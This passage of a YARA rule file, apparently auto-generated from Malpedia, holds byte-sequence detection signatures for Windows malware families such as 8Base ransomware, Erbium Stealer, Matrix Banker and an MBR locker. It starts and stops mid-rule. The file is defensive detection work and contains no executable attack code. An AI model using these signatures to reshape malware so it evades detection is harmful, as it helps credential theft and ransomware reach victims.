		id = "dbf6f885-27d8-521e-803a-d4cecec2a1f3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.getmail"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.getmail_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "2b6fbdf48e4c6a7974cdc409a23649369cc0b33f0a3fc425aba3ea953c2d50db"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 89442428 eb07 8d4c241c 51 }
		$sequence_1 = { f3a4 8b442410 395840 7463 8b704c 8b7848 a1???????? }
		$sequence_2 = { e8???????? 83c40c 85c0 752d bf???????? 83c9ff f2ae }
		$sequence_3 = { 56 e8???????? 83c40c 895c2430 85c0 }
		$sequence_4 = { 7cf1 56 8bf1 c1e603 3b9618444100 }
		$sequence_5 = { 895c244c 895c2450 8b84243c020000 8d54247c 52 53 8b08 }
		$sequence_6 = { 8bfe 8bcb 33c0 f2ae f7d1 49 51 }
		$sequence_7 = { 8b4d00 68???????? 51 e8???????? 83c408 85c0 }
		$sequence_8 = { 8b442420 3bc3 741d 8d48ff 8a40ff 84c0 }
		$sequence_9 = { 8d542418 89442408 8b442410 56 52 8b08 }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Mbrlocker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6a472526-8a03-5ccc-a5eb-10b46b34c6da"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlocker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mbrlocker_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "2abe677d378843746aa6479444a4219927906b009fff2766ade4f081783dbae6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 8b35???????? 8b3d???????? 6a10 68???????? }
		$sequence_1 = { 68fe000000 68???????? ffd7 83c408 }
		$sequence_2 = { 68ac000000 68???????? e8???????? 68ac000000 68???????? ffd7 83c408 }
		$sequence_3 = { c705????????ba514000 c705????????00020000 68fe000000 68???????? ffd6 83c408 68ff000000 }
		$sequence_4 = { 68ac000000 68???????? e8???????? e8???????? }
		$sequence_5 = { 68ff000000 68ac000000 68???????? e8???????? e8???????? 68ff000000 68ac000000 }
		$sequence_6 = { ac 30c8 aa 4a 75f9 61 c9 }
		$sequence_7 = { 68fe000000 68???????? e8???????? 68fe000000 }
		$sequence_8 = { 68fe000000 68???????? e8???????? e8???????? 68ff000000 68fe000000 }
		$sequence_9 = { 31c8 e8???????? 68ac000000 68???????? }
	condition:
		7 of them and filesize < 43008
}

rule MALPEDIA_Win_8Base_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c4b48847-5291-521d-93fb-9294f21140e6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.8base"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.8base_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "b47a40948bded147073cdef65076e2a74aedf9d527ccdea9c267a440037e5b0f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a00 ff15???????? 8d8e04a2feff 81f98c230000 770b }
		$sequence_1 = { 8b5104 8b4c2408 c74432f45c394000 5e }
		$sequence_2 = { 8815???????? c605????????6f 880d???????? c605????????65 c605????????63 }
		$sequence_3 = { 8d3485c0289100 8b06 83e71f c1e706 03c7 8a5824 }
		$sequence_4 = { c684249c00000002 50 c7442410043a4000 e8???????? }
		$sequence_5 = { d3ea 89542414 8b442434 01442414 8b442424 31442410 }
		$sequence_6 = { ff15???????? 8b442414 40 3d???????? 89442414 0f8c0effffff 8b35???????? }
		$sequence_7 = { 8bf7 83e61f c1e606 033485c0289100 c745e401000000 }
		$sequence_8 = { 6689442416 33c9 668954241a 8d442434 50 66894c241c 8b4c241c }
		$sequence_9 = { 899c24ac000000 3bfb 7449 8b8424b8000000 56 8d742418 }
	condition:
		7 of them and filesize < 10838016
}

rule MALPEDIA_Win_Darkdew_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "915d3fba-ccdb-58ec-bef5-fbfe3e57f2e5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkdew"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkdew_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "2001511710881b4d822d294ff1446e10aa21b9b50a4d4e2fae3fc5a2bc0825b8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d7e01 3bfb 7ed0 83c8ff eb07 8b04f55c710110 5f }
		$sequence_1 = { 7214 8b49fc 83c223 2bc1 83c0fc 83f81f 0f87860f0000 }
		$sequence_2 = { b991000000 8dbd70e2ffff 8bf2 f3a5 b991000000 }
		$sequence_3 = { 6804010000 8d85b4fcffff 6a00 50 e8???????? 83c40c }
		$sequence_4 = { 83fe10 8bbd68ffffff 0f43cf 8d5101 }
		$sequence_5 = { c745e807000000 668945d4 83fa10 722c 8b4d9c 42 8bc1 }
		$sequence_6 = { 8d85e4f7ffff f3a5 50 8d8528faffff b991000000 8bf3 8dbd18f9ffff }
		$sequence_7 = { 8d9534fcffff 0f43ce 2bd1 8a01 8d4901 88440aff 84c0 }
		$sequence_8 = { 83c404 83781408 7202 8b00 50 6a00 }
		$sequence_9 = { eb07 8b0cc5645c0110 894de4 85c9 7455 8b4510 }
	condition:
		7 of them and filesize < 279552
}

rule MALPEDIA_Win_Fireball_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a3428bf8-96e6-53b5-b02d-f9e2f263c340"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fireball"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fireball_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "0f22d443c5f81dd9534cb92d3695167967ab7b76ab570ebe6d321bfdbed116f0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 837c242008 c78424c800000007000000 c78424c400000000000000 66898424b4000000 }
		$sequence_1 = { 8d842484000000 50 8d9424d0000000 8d8c24a8010000 c68424cc01000009 e8???????? }
		$sequence_2 = { 83c404 33c0 83bc249800000008 c744246807000000 c744246400000000 }
		$sequence_3 = { 83bc24b000000008 c784248000000007000000 c744247c00000000 668944246c 7228 }
		$sequence_4 = { 8b0e e8???????? eb2a ff750c }
		$sequence_5 = { 5e c3 55 8bec 8b4508 ff34c5a8f52400 }
		$sequence_6 = { 3a503a 683a783a7c 3a803a843a98 3a9c3aa03ab83a }
		$sequence_7 = { 0f43842480000000 6a00 50 ffd7 8d442464 50 }
		$sequence_8 = { e9???????? 8d8d44fbffff e9???????? 8d8d44fbffff e9???????? 8b542408 8d823cfbffff }
		$sequence_9 = { 80bda7fdffff00 8b5d1c 8b7d18 8b7508 741d 57 8d4508 }
	condition:
		7 of them and filesize < 335872
}

rule MALPEDIA_Win_Getmypass_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "14973234-1738-56b7-9223-d08c6bb175b6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.getmypass"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.getmypass_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "e0df53beaa529f0daff55ba7793f7f6ede1e6ce78673fcc88efeed0e172026bc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c404 85c0 0f8444010000 8b4508 50 e8???????? }
		$sequence_1 = { 3b4d10 7d12 8b550c 0355fc 8b4508 0345fc 8a08 }
		$sequence_2 = { 8b45e0 0fbe08 83f944 0f8535010000 837de400 750b 8b55e0 }
		$sequence_3 = { 55 8bec 83ec08 c745fc00000000 8d45fc 50 68???????? }
		$sequence_4 = { 55 8bec 83ec08 833d????????04 721d a1???????? }
		$sequence_5 = { 0f8400010000 837de400 750b 8b45e0 }
		$sequence_6 = { 8b4d0c 51 e8???????? 83c40c 8d95d8f5ffff 52 8b4508 }
		$sequence_7 = { 8b45fc 50 6a00 ff15???????? 8985f4fbffff }
		$sequence_8 = { 8a55f8 8811 ebe1 c745f400000000 8b45f4 8945ec }
		$sequence_9 = { 83f944 0f85b4020000 837d9819 0f86aa020000 c745a400000000 8b55e0 83ea01 }
	condition:
		7 of them and filesize < 49152
}

rule MALPEDIA_Win_Erbium_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4b8a0033-eafb-588e-852d-212657477c66"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.erbium_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.erbium_stealer_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "52e0e8033201024664e25bae217264a7d239dc0c23fc20bab4e50f4bf89b0343"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 75f8 ba???????? b926000000 2bd0 }
		$sequence_1 = { 7409 83c002 66833800 75f7 668b4c2450 6685c9 7418 }
		$sequence_2 = { 6a04 6800200000 23f0 56 6a00 ff15???????? }
		$sequence_3 = { ff15???????? 8945bc 68???????? 8b55f4 52 }
		$sequence_4 = { eb96 6a04 6800300000 6a18 6a00 8b4508 50 }
		$sequence_5 = { 52 8b4508 50 ff55bc 33c9 }
		$sequence_6 = { 668b8c24a0020000 6685c9 741b 8d9424a0020000 0fb7c9 2bd0 668908 }
		$sequence_7 = { ff55b8 c745cc00000000 837dcc00 0f85a2000000 c745c400000000 8d4dc4 51 }
		$sequence_8 = { 75f8 668b8c24a0020000 6685c9 741b 8d9424a0020000 }
		$sequence_9 = { 8b55f8 8b45fc 0302 8b4de0 0fb711 81e2ff0f0000 }
	condition:
		7 of them and filesize < 33792
}

rule MALPEDIA_Win_Matrix_Banker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5e56425b-5f6b-5ff1-8380-5d5609da8da8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_banker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.matrix_banker_auto.yar#L1-L111"
		license_url = "N/A"
		logic_hash = "c882b53f487e75c9405f3f1fd8e8a700ef1f2f55c75fbbd05eae09bdd19de300"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 80f905 7705 80c2a9 eb0b 8d4abf 80f905 }
		$sequence_1 = { 80f905 7704 04a9 eb0a }
		$sequence_2 = { eb16 8d489f 80f905 7704 }
		$sequence_3 = { 66890d???????? 66030d???????? 66890d???????? e8???????? }
		$sequence_4 = { 8d48bf 80f905 7702 04c9 }
		$sequence_5 = { 8d4abf 80f905 7703 80c2c9 }
		$sequence_6 = { 8d489f 80f905 7704 04a9 }
		$sequence_7 = { eb0a 8d48bf 80f905 7702 04c9 8d4ad0 80f909 }
		$sequence_8 = { 04a9 eb0a 8d48bf 80f905 7702 }
		$sequence_9 = { 80f905 7705 80c2a9 eb0b 8d4abf }
	condition:
		7 of them and filesize < 422912
}

rule MALPEDIA_Win_Oatboat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4613e236-064b-571a-be7e-ff2a01da6b41"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oatboat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oatboat_auto.yar#L1-L103"
		license_url = "N/A"
		logic_hash = "7413375bcf19ea166467a5406a23466233d2d4aaf455c3de8007d0b602ee838d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c745e465655669 c745e872747561 c745ec6c4d656d c745f06f727900 e8???????? 41b900800000 }
		$sequence_1 = { 488d0dc20b0000 ff15???????? 33c0 4883c450 415f }
		$sequence_2 = { 4c896538 c745e04e74416c c745e46c6f6361 c745e874655669 c745ec72747561 c745f06c4d656d c745f46f727900 }
		$sequence_3 = { c745e8656d6f72 66c745ec7900 e8???????? 4d8bc4 }
		$sequence_4 = { c745ec72747561 c745f06c4d656d c745f46f727900 e8???????? 4c8d4d38 c744242840000000 4533c0 }
		$sequence_5 = { 488bc8 e8???????? 488bd8 488b7c2458 488bc3 }
		$sequence_6 = { 7527 488d4df0 c745f04c6f6164 c745f44c696272 c745f861727957 44887dfc e8???????? }
		$sequence_7 = { c745ec33003200 c745f02e004400 c745f44c004c00 e8???????? }
	condition:
		7 of them and filesize < 58368
}

rule MALPEDIA_Win_Campoloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "47bbab4d-d2fa-57b5-b699-26c8446d214c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.campoloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.campoloader_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "66a1664e5b6aaa82c7d5c893eda78f4cfabab07bd0de557bd9bf7b0222c59b17"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 2b4dd8 894dd4 8b55f8 0355d4 8955f8 8b45f8 }
		$sequence_1 = { 7407 33c0 e9???????? c78548efffff00000000 8d8de8fcffff 898d7cefffff }
		$sequence_2 = { 898568efffff 8d95f0feffff 52 ff15???????? 898550efffff 0fb78554efffff 50 }
		$sequence_3 = { 8bec b8bc100000 e8???????? a1???????? 33c5 8945fc a1???????? }
		$sequence_4 = { 8b55f8 0355d4 8955f8 8b45f8 }
		$sequence_5 = { 8a11 8855e4 8345d001 807de400 75ee 8b45d0 2b45a4 }
		$sequence_6 = { e8???????? 83c404 89856cefffff 8b958cefffff 2b956cefffff 89958cefffff c78564efffff00000000 }
		$sequence_7 = { ff15???????? 898550efffff 0fb78554efffff 50 ff15???????? 66898522f1ffff b902000000 }
		$sequence_8 = { 8b45e4 8945ec 8b4dec 83c101 894dd8 }
		$sequence_9 = { c745f8ffffffff 8b45e8 50 8b4d08 51 ff15???????? 83c408 }
	condition:
		7 of them and filesize < 66560
}

rule MALPEDIA_Win_Svcready_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e83853f3-e66b-52ee-ae09-132965a1cb28"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.svcready"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.svcready_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "70f5a6e47586d208a50ef25a32145ee8864e4794b50daca718026585b6e54bc9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 895c2410 8bc7 896c2418 f7d2 33c6 0bfa 21542410 }
		$sequence_1 = { eb02 33f6 895d28 8d4702 }
		$sequence_2 = { 89442410 33c0 89742414 896c2418 895c241c ab }
		$sequence_3 = { 66c7070100 885f02 891e 885e04 895e08 895e0c 895dfc }
		$sequence_4 = { 8b442428 40 50 57 51 }
		$sequence_5 = { 8b01 8902 83c204 83c104 894dec 8b45e8 ebea }
		$sequence_6 = { 50 ff74241c ff15???????? 33c0 8d7c2408 ab }
		$sequence_7 = { 8bca 8dbefc600000 f3ab 8bca }
		$sequence_8 = { 2bd1 8b7c2414 2bf1 c1fa02 c1fe02 3bfa 7678 }
		$sequence_9 = { 3c58 7504 897c2414 52 51 e8???????? 89442430 }
	condition:
		7 of them and filesize < 1187840
}

rule MALPEDIA_Win_Doublefinger_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1a4bb31a-3c01-5b6e-ae26-bb31027c979c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefinger"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doublefinger_auto.yar#L1-L113"
		license_url = "N/A"
		logic_hash = "34310946832cc40b49a31828e604fb9d9a1c8fad12732184c4ffa2b4443b2159"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c644247d64 c644247e79 c644247f97 488d942410030000 488d4c2478 e8???????? }
		$sequence_1 = { 8b442448 39442444 7d27 41b87a000000 ba61000000 488b8c2468010000 e8???????? }
		$sequence_2 = { 4533c0 8b942464010000 488b4c2450 e8???????? }
		$sequence_3 = { c6440478af ba0a020000 b940000000 488b842468010000 ff5038 }
		$sequence_4 = { e8???????? ba0a020000 488d8c2460010000 e8???????? }
		$sequence_5 = { 39442408 0f8394000000 c6042400 c744240400000000 eb0a 8b442404 }
		$sequence_6 = { 488bc1 eb7a 837c242000 7471 }
		$sequence_7 = { ba0a020000 b940000000 488b442470 ff5038 }
		$sequence_8 = { 3565708005 8984246c010000 8b84246c010000 8b4c2460 33c8 }
		$sequence_9 = { 66898424fc000000 33c0 66898424fe000000 ba64000000 }
	condition:
		7 of them and filesize < 115712
}

rule MALPEDIA_Win_Portdoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e4b852ed-5498-5523-835d-78e52c259853"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.portdoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.portdoor_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "7da9aa8b4f7f6857e35f1211f6a60eddf3c94eedff73ea09aab294e2b6809d65"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 884dff eb4e 8808 46 40 eb48 80f909 }
		$sequence_1 = { e8???????? 6a5c 58 6a2a 668945f0 }
		$sequence_2 = { 50 a3???????? e8???????? 83c410 8b4dfc 33cd 5e }
		$sequence_3 = { ff75e8 ff15???????? 6828020000 8d85c0fdffff }
		$sequence_4 = { 6a64 5a ffb57cf7ffff 668945e0 }
		$sequence_5 = { 8b0485b80f0210 f644010440 7409 803a1a 7504 33c0 eb1c }
		$sequence_6 = { 59 85c0 0f84da000000 8b4704 8bce 8b7708 c1e102 }
		$sequence_7 = { 807e0400 0f8564ffffff eb0c ff36 ff15???????? c6460400 5f }
		$sequence_8 = { 85ff 7450 8d4701 50 }
		$sequence_9 = { e8???????? a1???????? 33c5 8945fc 53 8b5d08 8d85fdfbffff }
	condition:
		7 of them and filesize < 297984
}

rule MALPEDIA_Win_Matanbuchus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "14891cee-6fee-5b85-a869-72db3819e8d3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matanbuchus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.matanbuchus_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "8cc6ad0369ae6a09d94059ca0fd839ca0ba525864e83ed2b19f2484b94f687e7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8955ec 0fb745fc 8b4dd8 668b1441 668955f8 eb0f }
		$sequence_1 = { 035120 8955dc 8b45f4 8b4d08 03481c 894dcc c745f000000000 }
		$sequence_2 = { 51 b801000000 6bc800 8b5508 0fbe040a 85c0 }
		$sequence_3 = { 8b55d4 8b048a 034508 8945d0 0fb74df4 0fb755f8 }
		$sequence_4 = { 41 66894df8 0fb755fc 85d2 }
		$sequence_5 = { 0fbe1401 33550c 69c293010001 50 b901000000 c1e100 034d08 }
		$sequence_6 = { eb04 33c0 eb18 eb82 8b4df4 8b55f4 }
		$sequence_7 = { 81fa4d5a0000 7407 33c0 e9???????? 8b45e8 8b4d08 }
		$sequence_8 = { ff55f0 6800800000 6a00 8b5508 }
		$sequence_9 = { 8b55f0 8b4214 8945e8 33c9 66894dfc }
	condition:
		7 of them and filesize < 13077504
}

rule MALPEDIA_Win_Ransoc_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d4231c6d-a004-5baa-86ba-cc26d508cfdf"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransoc"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ransoc_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "3aba656893a98b7e7e042164f300a01531e4785d0c2a9f4ed3d68e27e1dc31f6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c3 57 50 6a01 e8???????? }
		$sequence_1 = { 8b5034 3bd7 753e 8b7230 }
		$sequence_2 = { eb02 8913 894a34 895138 8b4834 8b503c }
		$sequence_3 = { 0f8487000000 56 68???????? 45 e8???????? 83c408 }
		$sequence_4 = { 394134 7506 8b5034 895134 394140 7506 8b5034 }
		$sequence_5 = { 8b542428 5d 894808 5b }
		$sequence_6 = { 89462c a820 7406 8b4604 014804 8b462c a900080000 }
		$sequence_7 = { eb07 894a34 eb02 890b 894134 894838 8b13 }
		$sequence_8 = { f7402c00000001 a1???????? 890c24 7505 }
		$sequence_9 = { 83c618 56 e8???????? 83c40c 5e c3 }
	condition:
		7 of them and filesize < 958464
}

rule MALPEDIA_Win_Pickpocket_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "802dc3e0-e29e-5fb9-b36e-fb6fbc442d76"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pickpocket"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pickpocket_auto.yar#L1-L113"
		license_url = "N/A"
		logic_hash = "22ebdc63d7f82763f33842db7356986ba14b78ce5a40d50ef0cdea3da00bc1be"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 740f b990cc0000 e8???????? }
		$sequence_1 = { e8???????? 85c0 750f b962890100 }
		$sequence_2 = { e8???????? 85c0 740f b990cc0000 e8???????? }
		$sequence_3 = { eb05 b960cb0000 e8???????? eb02 33c0 }
		$sequence_4 = { 790e b91dca0000 e8???????? 8907 }
		$sequence_5 = { 7504 33c0 eb0a b9e8d70000 }
		$sequence_6 = { 8a4201 84c0 7823 83e17f 0fb6c0 c1e107 03c8 }
		$sequence_7 = { 7404 8b01 eb03 83c8ff 83f804 }
		$sequence_8 = { a846 750f b99be00100 e8???????? e9???????? }
